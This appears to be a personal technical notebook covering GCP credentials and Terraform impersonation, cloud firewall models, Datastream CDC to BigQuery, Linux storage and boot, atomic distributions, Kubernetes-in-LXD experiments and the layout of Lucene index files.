gcloud auth login ≠ gcloud auth application-default login. The first is for the CLI only. Terraform uses ADC — you need both.

ADC scope

ADC is scoped to a Google Account (user identity), not to a project or org.

~/.config/gcloud/application_default_credentials.json
└── authenticates as: you@gmail.com
    └── can reach: any project/folder/org your account has IAM on

One login → access to all projects where your account has permissions. The project in the Terraform provider block is just "where to create resources" — it does not affect credentials.

gcloud auth application-default login
                │
                ▼
    your Google Account identity
                │
    ┌───────────┼───────────┐
    ▼           ▼           ▼
 project-A   project-B   project-C   ← all accessible via IAM

When you need multiple credential files

ADC credential expiry

ADC user credentials use OAuth2 refresh tokens:

You never need to re-login under normal use. The refresh token is invalidated if you revoke access, change your Google password, or an admin forces session expiry.

Option A — Multiple projects, one login

Same user account, different project per provider alias. Works out of the box with one ADC login.

terraform {
  required_providers {
    google = { source = "hashicorp/google", version = "~> 6.0" }
  }
}

provider "google" {
  alias   = "dev"
  project = "praxedo-dev"
  region  = "europe-west1"
}

provider "google" {
  alias   = "prod"
  project = "praxedo-prod"
  region  = "europe-west1"
}

Reference the right provider per resource:

resource "google_storage_bucket" "raw" {
  provider = google.dev
  name     = "raw-lake-dev"
  location = "EU"
}

Option B — SA key file (avoid where possible)

export GOOGLE_APPLICATION_CREDENTIALS=/path/to/sa-key.json
terraform apply

Key files on disk are a security risk. Prefer impersonation (Option C) instead.

Option C — SA impersonation (recommended for production)

No key file. Your ADC user token calls the Token Creator API → gets a short-lived SA token → Terraform uses that SA token for all API calls.

your user (ADC) → impersonates → terraform-sa → acts on → project resources

Setup

Step 1 — Create the SA and grant it roles on the target project:

gcloud iam service-accounts create terraform-sa \
  --project=MY_PROJECT \
  --display-name="Terraform deployer"

gcloud projects add-iam-policy-binding MY_PROJECT \
  --member="serviceAccount:terraform-sa@MY_PROJECT.iam.gserviceaccount.com" \
  --role="roles/editor"

Step 2 — Grant your user the right to impersonate it (binding ON the SA as a resource):

gcloud iam service-accounts add-iam-policy-binding \
  terraform-sa@MY_PROJECT.iam.gserviceaccount.com \
  --member="user:you@gmail.com" \
  --role="roles/iam.serviceAccountTokenCreator"

Step 3 — Terraform provider config:

provider "google" {
  impersonate_service_account = "terraform-sa@MY_PROJECT.iam.gserviceaccount.com"
  project                     = "MY_PROJECT"
  region                      = "europe-west1"
}

Why this is the right pattern for multi-env setups

For a multi-environment Praxedo setup:

terraform-sa-dev@praxedo-dev.iam.gserviceaccount.com   → roles scoped to dev
terraform-sa-prod@praxedo-prod.iam.gserviceaccount.com → roles scoped to prod

quota_project_id in ADC

When ADC is configured, GCP sets a quota_project_id in the credentials file. This is the project used for API quota tracking and billing — it is not the project where resources are deployed.

# Change it without re-authenticating
gcloud auth application-default set-quota-project MY_PROJECT

It must point to a billing-enabled project. For local dev your personal project is fine.

IAM: AWS vs Azure vs GCP — Visual Comparison

Networking & Firewalls: AWS vs Azure vs GCP

Coming from AWS/Azure. Focus: the firewall / security-group model, plus the structural VPC differences that change how everything else feels.

1. Structural model (learn this first)

Key shift: a GCP VPC is global. A single VPC reaches europe-west1 and us-central1 over internal IPs with no peering (in AWS you'd need Transit Gateway / VPC peering). Subnets stay regional (like Azure).

Because subnets auto-create in every region by default, real setups use auto_create_subnetworks = false and define subnets explicitly.

2. Firewall model — the core difference

AWS splits firewalling into two layers; GCP collapses it into one.

The defining GCP trait

Firewall rules are NOT attached to instances. They live on the VPC network, and you pick which instances they hit via targets:

• target_tags — network tags on instances
• target_service_accounts — the instance's identity
• or all instances in the network

Source (for ingress) can equally be IP ranges, tags, or service accounts.

Property comparison

So: as stateful as an AWS SG, but with deny + priority like a NACL/NSG, all in one object, targeted by tag or identity instead of by attachment.

Implied / default rules (all clouds: deny-inbound by default)

Every GCP VPC has two implied rules at priority 65535:

• Implied deny ingress
• Implied allow egress

Same posture as AWS SG and Azure NSG defaults. The GCP default network also ships default-allow-ssh/-rdp/-icmp/-internal — a reason to build a custom VPC so nothing is pre-opened.

3. Two GCP superpowers with no clean AWS/Azure twin

1) Identity-based firewalling via service accounts. A rule's source/target can be a service account, not an IP or tag:

"Allow 5432 to instances running as db-sa@…, only from instances running as app-sa@…."

Microsegmentation by workload identity. AWS approximates with SG-references-SG; Azure with ASGs; neither ties to a real IAM identity like GCP does.

⚠️ Network tags are not a security boundary — anyone with compute.instances.setTags can add a tag and inherit its access. Service-account rules are the hardened choice (changing an instance's SA needs a stop + stronger IAM).

2) Hierarchical Firewall Policies. Rules attached at org / folder level, evaluated before VPC rules — org-wide guardrails. Analogous to AWS Firewall Manager / Org SCP or Azure Firewall Manager / Policy, but native to the firewall. Newer Network Firewall Policies add address groups, FQDN, geo/threat-intel (≈ Azure Firewall L7).

4. Cheat sheet

5. Example rule (Terraform)

resource "google_compute_firewall" "allow_pg" {
  network       = google_compute_network.vpc.id   # rule lives on the NETWORK
  source_ranges = ["34.x.x.x/29"]                 # ingress source = IP CIDRs
  target_tags   = ["pg"]                          # applies to tagged instances
  allow { protocol = "tcp"; ports = ["5432"] }    # stateful; default priority 1000
}

AWS eyes: behaves like a Security Group allowing 5432, but instead of attaching to the instance it targets the pg tag — and it could have been a deny, which an AWS SG can't express.

SSH without a public bastion: open only Google's IAP range 35.235.240.0/20 (≈ AWS SSM Session Manager / Azure Bastion).

6. "Unlearn from AWS" takeaways

1. Stop thinking "attach SG to instance" → write a network rule, target it by tag or identity.
2. No separate NACL layer needed — deny + priority already live in the same firewall-rules system.
3. Firewall by service-account identity, not IP, wherever possible — spoofing-resistant, unlike tags.

7. Q&A

# The instances declare their identity:
resource "google_compute_instance" "app" {
  # ...
  service_account { email = google_service_account.app.email }
}
resource "google_compute_instance" "db" {
  # ...
  service_account { email = google_service_account.db.email }
}

# The rule matches on identity, not IP or tag:
resource "google_compute_firewall" "db_from_app" {
  name      = "allow-app-to-db"
  network   = google_compute_network.vpc.id
  direction = "INGRESS"

  allow {
    protocol = "tcp"
    ports    = ["5432"]
  }

  target_service_accounts = [google_service_account.db.email]  # applies to DB VMs
  source_service_accounts = [google_service_account.app.email] # allowed callers
}

resource "aws_security_group" "app" { name = "app-sg" vpc_id = aws_vpc.main.id }
resource "aws_security_group" "db"  { name = "db-sg"  vpc_id = aws_vpc.main.id }

# DB SG allows 5432 only from instances in the app SG:
resource "aws_security_group_rule" "db_from_app" {
  type                     = "ingress"
  from_port                = 5432
  to_port                  = 5432
  protocol                 = "tcp"
  security_group_id        = aws_security_group.db.id   # attached to DB instances
  source_security_group_id = aws_security_group.app.id  # membership = access
}

Datastream — Serverless CDC & Replication

Google Cloud's serverless CDC (Change Data Capture) service. Reads a source database's transaction log and replicates changes into BigQuery or Cloud Storage, near real-time, with no infrastructure to run.

Mental model (from AWS)

Datastream has the same three-part shape as AWS DMS:

Sources: PostgreSQL, MySQL, Oracle, SQL Server. Destinations: BigQuery (managed merge) or Cloud Storage (Avro/JSON files you process yourself).

Object model

• Connection profile — one endpoint, decoupled from any stream. Holds address + credentials + connectivity method. Reusable across streams. Creating one validates connectivity immediately (it dials the DB).
  • Source (postgresql_profile): hostname, port, user, password, database.
  • Destination (bigquery_profile {}): empty — authenticates as the Datastream service agent, which needs roles/bigquery.dataEditor.
• Stream — the running pipeline. References two profiles, selects tables (include_objects), sets backfill strategy + destination config. Stateful and long-lived (Running / Paused / Not started / Failed / Draining).
• Private connectivity config — optional VPN/PSC path (skip if using IP allowlisting).

Scope & hierarchy

PostgreSQL hierarchy: server → databases → schemas → tables.

MySQL treats schemas as databases, so one MySQL stream can span several. The one-database limit is a PostgreSQL property, not a Datastream one.

Backfill vs CDC

CDC only captures changes from slot-creation forward — pre-existing rows never appear in the log. Backfill fills that gap.

• Backfill + CDC run concurrently; CDC starts from the pinned LSN, backfill loads the snapshot, and once a table's backfill completes it is CDC-only.
• backfill_all {} — auto-backfill every table. backfill_none {} — CDC-only (used to trigger backfills manually later).
• "No backfills in progress" = initial load finished → pure CDC steady state.

Is backfill complete / assured?

Yes for all supported data — and it's a real guarantee, not best-effort:

1. The replication slot is created first, pinning a starting LSN; from that instant every change is retained in WAL.
2. Backfill snapshots existing rows (may take hours).
3. Rows that change during backfill are also captured by CDC.
4. BigQuery MERGE is keyed on the primary key, ordered by source timestamp/LSN → the newest version wins. The table converges (eventual consistency), even if backfill read a stale row.

Exceptions (surface as Unsupported events, not silent loss): tables without a primary key, oversized rows / LOBs (truncated), unsupported column types.

How long does backfill take?

No fixed SLA — throughput-bound. For hundreds of GB cross-cloud, plan for hours to ~a day, usually limited by the source→GCP link, not Datastream.

Run a small POC (one table), measure GB/hour, extrapolate — that number also sets your required WAL-retention window (see Operational risk).

Scheduling / staggering backfill

No native "run at 2 AM" cron, but equivalent control:

• backfill_none + manual per-object backfill triggered in off-hours (the clean "backfill at night" pattern).
• Throttle with max_concurrent_backfill_tasks.
• Backfill from a read replica for isolation (Postgres caveats apply).
• Stagger by table via Terraform: apply a stream with wave-1 tables in include_objects; once stable, add wave-2 tables and terraform apply (in-place update — backfills only the new objects). Staggering also lowers peak WAL retention, because CDC drains the slot between waves.

Postgres → BigQuery mapping

Flat, 1:1 table mapping. Relationships are NOT preserved. Each source table → one BigQuery table; foreign keys become ordinary columns. Datastream does not join, nest, or denormalize — that's the silver layer's (dbt) job.

Example — a normalized FSM schema with FKs:

regions(id PK, name)
customers(id PK, name, region_id→regions, created_at timestamptz, metadata jsonb)
work_orders(id PK, customer_id→customers, status, amount numeric(10,2), tags text[])
work_order_lines(id PK, work_order_id→work_orders, product_id→products, qty int)
products(id PK, sku, name, price numeric)

→ 5 independent flat BigQuery tables (typically <schema>_<table>, e.g. public_work_orders — verify with bq ls). FK columns are plain INT64; you rebuild relationships with JOINs downstream.

Type mapping (common):

Plus a datastream_metadata column (STRUCT: source_timestamp, uuid). In merge mode the BQ table holds current state (deletes remove rows), keyed/clustered on the source PK.

PostgreSQL source prerequisites

The source DBA must enable, before a stream can run:

• wal_level = logical
• A publication: CREATE PUBLICATION <name> FOR ALL TABLES;
• A logical replication slot (pgoutput plugin)
• A role with REPLICATION + SELECT on replicated tables
• Network reachability (IP allowlist / SSH tunnel / private connectivity)

Operational risk — WAL retention & replication slots

WAL is not a permanent history. Segments are recycled after checkpoints once all consumers have passed them. A replication slot pins WAL at its restart_lsn — Postgres will not delete WAL the slot hasn't confirmed. That is what makes CDC lossless and dangerous.

The backfill trap: while a long backfill runs, the slot's restart_lsn can't advance, so all WAL generated during backfill accumulates on the source disk.

required free WAL space ≥ peak_WAL_rate (GB/hr) × backfill_hours × safety_margin

Example: 15 GB/hr × 18 h ≈ 270 GB → provision ~350 GB free on the WAL volume before starting.

Right config: size WAL disk for worst-case backfill and set max_slot_wal_keep_size as a backstop. Monitor slot lag: pg_wal_lsn_diff(pg_current_wal_lsn(), confirmed_flush_lsn).

How it processes the log — two stages

Source WAL ──(A) stream continuously──► Datastream ──(B) merge on cadence──► BigQuery
           logical replication slot                  Storage Write API + MERGE
           (event-driven, at commit)                 (≤ data_freshness)

• Postgres logical decoding emits changes at COMMIT, in commit order.
• data_freshness is a ceiling, not an interval — actual lag can be seconds even with a 900s setting.
• Lower data_freshness = more frequent merges = more BigQuery cost.

BigQuery destination

• Storage Write API + periodic MERGE → BQ table is a current-state mirror (upserts + deletes applied, not append-only).
• Lands the bronze layer; dbt builds silver/gold. Datastream's job ends at bronze — it replicates, it does not transform.
• single_target_dataset (all tables → one dataset) or source_hierarchy_datasets (dataset per source schema).

Pricing — the free-tier trap

• Billed on GB processed — an internal representation typically 2–5× raw size. Backfill priced separately (first 500 GB/month free).
• Perpetual free tier (100 GiB CDC/month) applies ONLY to first-party sources: AlloyDB and Spanner — NOT Cloud SQL PostgreSQL, NOT self-managed Postgres.

Terminology

Monitoring

gcloud datastream streams describe STREAM --location=REGION --format="value(state)"
gcloud datastream objects list --stream=STREAM --location=REGION   # per-table backfill

Console → stream → Monitoring: Throughput, Data freshness, Events processed, Unsupported events. Metrics: datastream.googleapis.com/stream/{total_latency,throughput,unsupported_event_count}.

Reading the panel: Events processed = backfill + CDC (e.g. 3 seed rows + 46 changes = 49). Unsupported = 0 is healthy. Freshness spiking then returning to 0 = a merge cycle completed; BQ is caught up.

Terraform skeleton

resource "google_datastream_connection_profile" "source" {
  connection_profile_id = "src-postgres"
  location              = var.region
  postgresql_profile {
    hostname = "..."   # validated on create — source must be reachable NOW
    port     = 5432
    username = "datastream"
    password = "..."
    database = "app"
  }
}

resource "google_datastream_connection_profile" "dest" {
  connection_profile_id = "dest-bq"
  location              = var.region
  bigquery_profile {}   # empty — uses the Datastream service agent + IAM
}

resource "google_datastream_stream" "s" {
  stream_id     = "pg-to-bq"
  location      = var.region
  desired_state = "RUNNING"
  source_config {
    source_connection_profile = google_datastream_connection_profile.source.id
    postgresql_source_config {
      publication      = "datastream_pub"
      replication_slot = "datastream_slot"
      include_objects { postgresql_schemas { schema = "public" } }
    }
  }
  destination_config {
    destination_connection_profile = google_datastream_connection_profile.dest.id
    bigquery_destination_config {
      data_freshness = "900s"
      single_target_dataset { dataset_id = google_bigquery_dataset.bronze.id }
    }
  }
  backfill_all {}
}

Gotcha: the connection profile validates connectivity on create (not the stream), so the source must be reachable before the profile applies.

Q&A

free WAL space ≥ peak_WAL_rate (GB/hr) × backfill_hours × margin

Linux

Storage

SSDs

Types of SSDs:

• Form Factors:
  • 2.5" : looks like an HDD, slower, only supports SATA.
  • M.2: They come in few standard lengths (60mm, 80mm, 110mm), they support two interfaces:
    • SATA
    • PCIe (with and without NVMe support)
  • Add-in Card (AIC): Bigger than M.2 and operates over PCIe.
  • mSATA: looks like M.2, very small
  • U.2: Looks like 2.5" but they way faster. They are mainly used in the enterprise (Data centers)

NVME (Non-Volatile Memory Express):

• is a super fast way to access SSDs and flash memory (NVM)
• NVMe is not an interface and not a form factor (like SATA or PCIe) but a data transfer protocol
• SSDs used SATA -> PCIe (lack of standard and features) -> NVMe

Lots of videos at the bottom of the page

PCIe

• Each PCIe interface can be configured with 1 lane or multiple lanes x4 (x4, x8, x16 and x32).
• Each PCIe Generation doubles the bandwidth
• PCIe is backward compatible (The interface and card settle on the lower version)
• PCIe cards can be plugged in slots with different number of lanes with the consequence of having less bandwidth or wasted lanes.

Hard disk drive interface

• PATA(IDE) - SCSI: Old interfaces
• SATA: Personal HDD, successor of PATA
• SAS: Entreprise HDD, successor of SCSI
• More and More

Disks and Partitions

partitioning formats

There are 2 known partioning formats:

• MBR: 2TB is the limit disk size, can only create 4 primary partitions, the last one is set to extended partition in which we can create Logical partitions.
• GPT: No disk limit, no limit for partition size. The partition table information is available in multiple locations to guard against corruption. GPT can also write a “protective MBR” which tells MBR-only tools that the disk is being used.

/dev/sd* vs /dev/disks:

• The Linux kernel decides which device gets which name (/dev devices) on each boot. which can lead to to confusion and unwanted behavior.
• /dev/disks has many subfolders that points to the partitions using other parameters besides the device name (label, id, uuid ...)

Boot

BIOS

The BIOS in modern PCs initializes and tests the system hardware components (Power-on self-test), and loads a boot loader from a mass storage device which then initializes a kernel. In the era of DOS, the BIOS provided BIOS interrupt calls for the keyboard, display, storage, and other input/output (I/O) devices that standardized an interface to application programs and the operating system. More recent operating systems do not use the BIOS interrupt calls after startup.[6]

Boot Sequence

• System switched on, the power-on self-test (POST) is executed.
• After POST, BIOS initializes the hardware required for booting (disk, keyboard controllers etc.).
• BIOS launches the first 440 bytes (the Master Boot Record bootstrap code area) of the first disk in the BIOS disk order.
• The boot loader's first stage in the MBR boot code then launches its second stage code (if any) from either:
  • Next disk sectors after the MBR, i.e. the so called post-MBR gap (only on a MBR partition table),
  • A partition's or a partitionless disk's volume boot record (VBR),
  • For GRUB on a GPT partitioned disk—a GRUB-specific BIOS boot partition (it is used in place of the post-MBR gap that does not exist in GPT).
• The actual boot loader is launched.
• The boot loader then loads an operating system by either chain-loading or directly loading the operating system kernel.

UEFI

UEFI launches EFI applications, e.g. boot loaders, boot managers, UEFI shell, etc. These applications are usually stored as files in the EFI system partition. Each vendor can store its files in the EFI system partition under the /EFI/vendor_name directory. The applications can be launched by adding a boot entry to the NVRAM or from the UEFI shell.

Boot Sequence

• System switched on, the power-on self-test (POST) is executed.
• After POST, UEFI initializes the hardware required for booting (disk, keyboard controllers etc.).
• Firmware reads the boot entries in the NVRAM to determine which EFI application to launch and from where (e.g. from which disk and partition).
• A boot entry could simply be a disk. In this case the firmware looks for an EFI system partition on that disk and tries to find an EFI application in the fallback boot path EFIBOOTBOOTx64.EFI (BOOTIA32.EFI on systems with a IA32 (32-bit) UEFI). This is how UEFI bootable removable media work.
• Firmware launches the EFI application.
  • This could be a boot loader or the Arch kernel itself using EFISTUB.
  • It could be some other EFI application such as the UEFI shell or a boot manager like systemd-boot or rEFInd.
• If Secure Boot is enabled, the boot process will verify authenticity of the EFI binary by signature.

Atomic Linux Distributions

Approaches to Immutability

Different distributions achieve "immutability" using distinct underlying architecture and tooling.

• The "Git/Container" Model (OSTree / OCI)

  • Examples: Fedora Atomic, Universal Blue.
  • Tooling: rpm-ostree, bootc.
  • Mechanism: Treats the OS as a versioned repository or container image. Updates are fetched as file deltas or image layers and deployed to a new "deployment" directory on the same partition using hardlinks.
  • Key Trait: Centralized "DevOps" management; allows rebasing the entire OS to a different image/fork.

• The "Snapshot" Model (Btrfs)

  • Examples: openSUSE Aeon (MicroOS).
  • Tooling: transactional-update.
  • Mechanism: Wraps standard package management. It creates a new read-write Btrfs snapshot of the current root, installs packages into it via zypper, and sets it as the default boot target.
  • Key Trait: Retains standard package management granularity but enforces a "reboot-to-apply" workflow.

• The "A/B Partition" Model

  • Examples: Vanilla OS, Android, ChromeOS.
  • Tooling: ABRoot.
  • Mechanism: Uses two completely separate physical root partitions (Slot A and Slot B). Updates are written to the inactive partition (via OCI sync or package manager) which is then toggled active for the next boot.
  • Key Trait: Maximum isolation. A failed update or filesystem corruption on the inactive slot has physically zero impact on the running system, at the cost of higher storage usage.

Atomic Linux & Universal Blue: Technical Reference

The Core Architecture

• Bootable Containers: The OS is delivered as a standard OCI container image.
• Kernel Management: The kernel is a package inside the container image. It is version-locked to the userspace.
• Storage Model: Uses a single physical partition with "Deployments" (snapshots) sharing space via hardlinks (OSTree). It does not use A/B physical partitions (unlike Android or VanillaOS).

Universal Blue (uBlue) vs. Fedora

• Fedora Atomic (e.g. Silverblue):

  • Uses Classic OSTree (Git-like file deltas) by default.
  • Constraint: Cannot ship proprietary drivers (NVIDIA) or codecs due to Red Hat legal/philosophical policies.

• Universal Blue:

  • Builds on top of Fedora using GitHub Actions.
  • Mechanism: Wraps Fedora content into OCI images.
  • Bypass: Uses GitHub infrastructure to inject proprietary drivers/codecs that Fedora can't ship.

Tooling: rpm-ostree vs bootc

System State & Mutability

Operations

Rebasing (Switching Distros)

You can switch entire OS flavors (e.g., Desktop to Gaming) by changing the image source.

# Example: Switch to Bazzite (SteamOS clone)
bootc switch ghcr.io/ublue-os/bazzite:latest

Risk: /home config clutter. Switching Desktop Environments (e.g., GNOME to KDE) can cause theming/config conflicts in dotfiles.

Custom Images (Blue-Build)

• Workflow: Define OS in recipe.yml (YAML) GitHub Actions builds image Device pulls updates from GHCR.
• Benefit: Pre-install tools (Terraform, UV, Neovim) in the base image rather than layering them locally.

Recovery Mechanisms

• Rollback: The previous OS version is always available in the GRUB menu.
• Pinning: ostree admin pin 0 ensures a specific working deployment is never garbage collected.
• Critical Failure: Since deployments share a partition, filesystem corruption (superblock) kills all deployments. Requires Live USB recovery.

References

• Distroless Linux Desktop
• Flathub in 2025
• openSUSE/transactional-update: Atomic updates for Linux operating systems
• ABRoot v1 - Introduction - Vanilla OS Documentation
• The easiest way to build your own desktop Linux images. | BlueBuild
• How to build an ISO based on your custom image of Fedora Atomic | BlueBuild
• Universal Blue – Powered by the future, delivered today
• workshop.blue-build.org/images
• List of Community Created Custom Images - General - Universal Blue
• wayblueorg
• Create a Dev Environment with Devbox - Jetify Docs
• Bluefin 2025 Wrap-up: State of the Raptor | Bluefin

Containers

Cgroups

Privileged access to Cgroups

CGroups can be accessed with various tools:

• Systemd directives to set limits for services and slices.
• Through the cgroup FS.
• Through libcgroup binaries like cgcreate, cgexec and cgclassify.
• The Rules engine daemon to automatically move certain users/groups/commands to groups (/etc/cgrules.conf and cgconfig.service).
• Through other software like LXC.

Unprivileged access to Cgroups

Unprivileged users can divide resources using CGroups v2. memory and pids controllers are supported out of the box. cpu and io require delegation.

• To delegate cgroup resources we should add the Delegate systemd property, and reboot

# /etc/systemd/system/user@1000.service.d/delegate.conf
[Service]
Delegate=cpu cpuset io

Experiment running Kubernetes in LXD

Try 1: Kubernetes storage support

Kubernetes filesystem support

The hardest issue with deploying Kubernetes on LXD/LXC containers is storage and filesystem support:

BTRFS

BTRFS does not work well with kubernetes, due to CAdvisor not playing well with BTRFS

• kubernetes/issues/80633
• kubernetes/issues/65204
• microk8s/issues/1587

ZFS

ZFS does not work as well on LXC and kubernetes, since it does not bad support for nested containers.

• k3s/issues/19

One workaround is creating subvolumes for the container runtime and formatting them in Ext4:

• using-docker-and-kubernetes-on-zfs-backed-host-systems

Another Workaround is to have a ZSF enabled containerd in the host and make it accessible inside LXC

• k3s/issues/66
• k3s, containerd & ZFS - Fabrice Aneche
• More in Google

There are other solution like using docker loopback plugin ...

• k3s/issues/66

Containerd and overlay inside LXC

When running containerd inside LXC, due to Systemd being unable to execute modprobe overlay inside the container (module is already loaded in host kernel).

• docker/for-linux/issues/475

Containerd is already patched and modprobe errors are ignored.

• containerd/containerd/pull/2776

Cgroups v2 support

Containerd (and runC) supports Cgroups v2 already

• containerd/containerd/issues/3726
• containerd/cgroups/pull/102
• containerd/cgroups/pull/103

I enabled it using this

[plugins]
  [plugins."io.containerd.grpc.v1.cri".containerd.runtimes.runc]
    [plugins."io.containerd.grpc.v1.cri".containerd.runtimes.runc.options]
      SystemdCgroup = true

  [plugins.cri.containerd.default_runtime]
    runtime_type = "io.containerd.runc.v2"
    runtime_engine = ""
    runtime_root = ""

Try 2: Weird problem

I have a weird problem now, When setting up a cluster with kubeadm, the containers keep restarting until everything crashes. The same thing with microk8s.

A weirder situation is that K0s works fine!

Hypothesis

There is something related to container technologies that's preventing the containers from running properly.

• In the case of Kubeadm, the kubernetes components run in containers (containerd in my case).
• In the case of Microk8s, the components run on top of snapd (to be verified).

--> In this case there should be something preventing them (containers, snaps) from running properly.

• Where k8s components run

To verify this I will do the following experiments

• Run k3s in LXD, since it uses containerd to run the k8s components, it should fail
• Install kubernetes the hard way, this way I'll install the components as processes not as containers. In this case Everything should work fine.

Edit: Microk8s works fine, the problem was related to the dns plugin which was disabled for some reason. The reason for which Microk8s reports a not running status. microk8s enable dns and everything is working fine.

Kubeadm downgrade

Downgraded kubeadm from 1.22.0 to 1.20.4 and everything seems to work fine!

Can be a version problem! Digging deeper and maybe getting some help from serverfault.

A new problem arose: kube-proxy won't start and fails with open /proc/sys/net/netfilter/nf_conntrack_max: permission denied

The solution was to set nf_conntrack_max in the host.

sudo sysctl net/netfilter/nf_conntrack_max=131072

• networking - kube-proxy won't start in Minikube because of permission denied issue with /proc/sys/net/netfilter/nf_conntrack_max - Server Fault
• Tuning nf_conntrack - IT Blog

Managed to upgrade from 1.20.4 to 1.21.4 to 1.22.1 and the cluster is running almost fine, until they aren't.

For 1.21.4 everything was fine while in 1.22.1 nothing works.

It started with some CrashLoopBackOffs and now everything is down.

When I restart the kubelet, the containers start to show off a minute later, and then enter the crash loop again.

My Hypothesis is that this is a version issue, there is something wrong with v1.22 or with my lxd setup or both. To test that I am doing the following

• Testing v1.22 using k3s or some other distribution.
• Testing v1.22 with k8s the hard way.

Also v1.22 supports swap so maybe the problem has something to do with swap. I'll check that too:

• Why disable swap on kubernetes - Server Fault
• Kubernetes 1.22 – What’s new? | Sysdig

Asked at k8s.slack.com and the responses suggested that the etcd server is the reason why everything fail and said that from kubernetes 1.21 to 1.22 etcd moved to 3.5.0

The best way and the least time consuming is Kubernetes the hard way since, it will help me in other thing as well. Ans since k8s distro haven't moved to 1.22 yet.

• https://github.com/inercia/terraform-provider-kubeadm
• Use Ansible + Terraform is better maybe

Try 3: New cluster

Going back to this project. This works on 1.31+ with a little bit of tweaking. It may work with previous versions, I have not tested them. Initialized a cluster on a 3 machines LXD container instances.

• Created 3 LXD container instances using LXD terraform provider and cloud-init

It is weird that LXD cloud images for ubuntu/jammy do not come with sshd installed. So I had to install it manually.

• Getting the annoying error

285 fs.go:595] Unable to get btrfs mountpoint IDs: stat failed on /dev/nvme0n1p3 with error: no such file or directory` error. But apparently it does not affect the cluster health. See Above for more information about the issue.

• After initializing the cluster, the kube-proxy pod enter a CrashLoop state. A kubectl logs show that the container was failing with:

conntrack.go:100] Set sysctl 'net/netfilter/nf_conntrack_max' to 131072
server.go:495] open /proc/sys/net/netfilter/nf_conntrack_max: permission denied

Apparently kube-proxy is trying to change the value of nf_conntrack_max even if it does not have the permission to do so. This is maybe related to the way LXC loads the kernel modules (Need to dig more on this).

root@k8s-node-0:~# sysctl -p
sysctl: setting key "net.netfilter.nf_conntrack_max": No such file or directory
sysctl: cannot stat /proc/sys/net/nf_conntrack_max: No such file or directory

The solution was to prevent kube-proxy from changing the nf_conntrack_max value by setting maxPerCore to 0 in the kube-proxy configMap. More

• Installed Weaveworks network plugin.

kubectl apply -f https://github.com/weaveworks/weave/releases/download/v2.8.1/weave-daemonset-k8s.yaml

• Sample code: kubernetes · main · iduoad / Agora / Projects / Azourki · GitLab

References

• sysbox/docs/quickstart/kind.md at master · nestybox/sysbox: Running kubernetes in Sysbox containers.

ElasticSearch

Introduction to Lucene

Ingestion Process

• Document Creation: User creates a Document object in memory. Data model: Map-like structure with Field objects (e.g., TextField for searchable text, StoredField for retrievable data). Stored in RAM as Java objects.
• Analysis (Tokenization & Filtering): Tokenize (split into words), Normalize (lowercase, remove stopwords, stem words like "running" → "run").
• Term Addition to Index: the terms are added to the index in Memoru
• Segment Flushing: When buffer fills. data is flushed to disk as a new immutable segment
• Commit & Merging: On commit, segments are merged (background) into larger ones for efficiency

Index Data model

Data model

ls -1 | cut -f2 -d. |sort | uniq
doc
dvd
dvm
fdm
fdt
fdx
fnm
lock
nvd
nvm
pos
segments_4
si
tim
tip
tmd

The most important files are tim, tip, doc and pos. The full model is the following

• Vocabulary:

  • .tim: Terms Dictionary with All unique terms (words)
  • .tip: Terms Index Pointer/index into .tim
  • .doc: Postings - Frequencies
  • .pos: Postings - Positions

• Stored Fields (Original Document Storage)

  • .fdt: Field Data - Actual stored field values (like a database)
  • .fdx: Field Index - Pointers to data in .fdt
  • .fdm: Field Metadata - Compression info (Describes field types, analyzers, norms, etc.)

• Doc Values (Column-oriented Storage)

  • .dvd: Doc Values Data - For sorting/faceting
  • .dvm: Doc Values Metadata

• Norms (Field Length Normalization)

  • .nvd: Norms Data - Field length info for scoring
  • .nvm: Norms Metadata

• Metadata Files

  • .fnm: Field Names - Maps field IDs to names.
  • .si: Segment Info - Segment metadata (doc count, codec, version, deleted docs, etc.).
  • .tmd: Term Vector Metadata - For term vector storage. (Extra info for .tim and .tip.)
  • segments_4: Master file listing all segments (Lists all segments, their versions, and commit metadata.)
  • write.lock: Write lock (prevents concurrent writes)

Example

• The document

# Document
0, "Hello World", "Lucene stores documents efficiently"
1, "Apache Lucene", "Lucene uses segments to store data"
2, "Search Engines", "Elasticsearch is built on Lucene"

• Metadata files

# .fnm
0: title (indexed=true, stored=true, hasTermVectors=false)
1: body (indexed=true, stored=false, hasNorms=true)

# .tmd: Term Metadata, stores extra metadata about terms (field-level summaries, term stats, checksums).
Field "title": 3 unique terms
Field "body": 6 unique terms
checksum: 0xA32F9C

# .si: Segment Info, describes the whole segment.
Segment name: _2
Lucene version: 9.0
Doc count: 3
Deleted docs: 0
Files: [_2.fdt, _2.fdx, _2.tim, _2.tip, ...]

# segments_4: Commit point, global file listing all segments that make up the index.
Segments:
  _2 (3 docs)
  _3 (7 docs)
  _4 (2 docs)
Generation: 4

# write.lock
hostname=localhost
processId=12345

• Stored fields

# .fdt: Documents and their stored field 
Doc 0:
  title = "Hello World"
Doc 1:
  title = "Apache Lucene"
Doc 2:
  title = "Search Engines"

# .fdx: offsets for each Doc to help lucene to seek inside .fdt
Doc 0 offset: 0
Doc 1 offset: 34
Doc 2 offset: 71

# .fdm: metadata about how fields are stored and indexed
Field "title":
  type: text
  analyzer: standard
  norms: no
Field "body":
  type: text
  analyzer: standard
  norms: yes

• Dictionary files

# .tim: Term dictionary for indexed fields
Term Dictionary:
  body: [
    "built" -> docFreq=1, totalTermFreq=1
    "data" -> docFreq=1, totalTermFreq=1
    "elasticsearch" -> docFreq=1, totalTermFreq=1
    "lucene" -> docFreq=2, totalTermFreq=2
    "segments" -> docFreq=1, totalTermFreq=1
    "stores" -> docFreq=1, totalTermFreq=1
  ]
  title: [
    "apache" -> docFreq=1
    "hello" -> docFreq=1
    "search" -> docFreq=1
  ]

# .tip: Pointers for terms in .tim file (for fast seek)
Pointers:
  "apache" → offset 0
  "lucene" → offset 128
  "search" → offset 192

# .doc: Postings (docIDs), lists which documents contain each term. 
Term: "lucene"
  → docIDs = [1, 2]
Term: "search"
  → docIDs = [2]
Term: "hello"
  → docIDs = [0]

# .pos: Positions, word positions within documents (for phrase queries, proximity).
Term: "lucene"
  Doc 1: positions [0]
  Doc 2: positions [4]

• Doc values (Columnar values)

# .dvd columnar storage for sorting, faceting, analytics.
Field "popularity" (numeric doc values)
Doc 0: 10
Doc 1: 25
Doc 2: 5

# .dvm: contains metadata (like offsets, encodings).
Field count: 2
Field 0: popularity (numeric)
  offset: 0x00000010
  encoding: delta-compressed int
Field 1: category (sorted)
  offset: 0x00000100
  encoding: terms dictionary

• Norms

# .nvd per-field normalization factors (used in scoring).
Field: body
Doc 0: norm=0.577
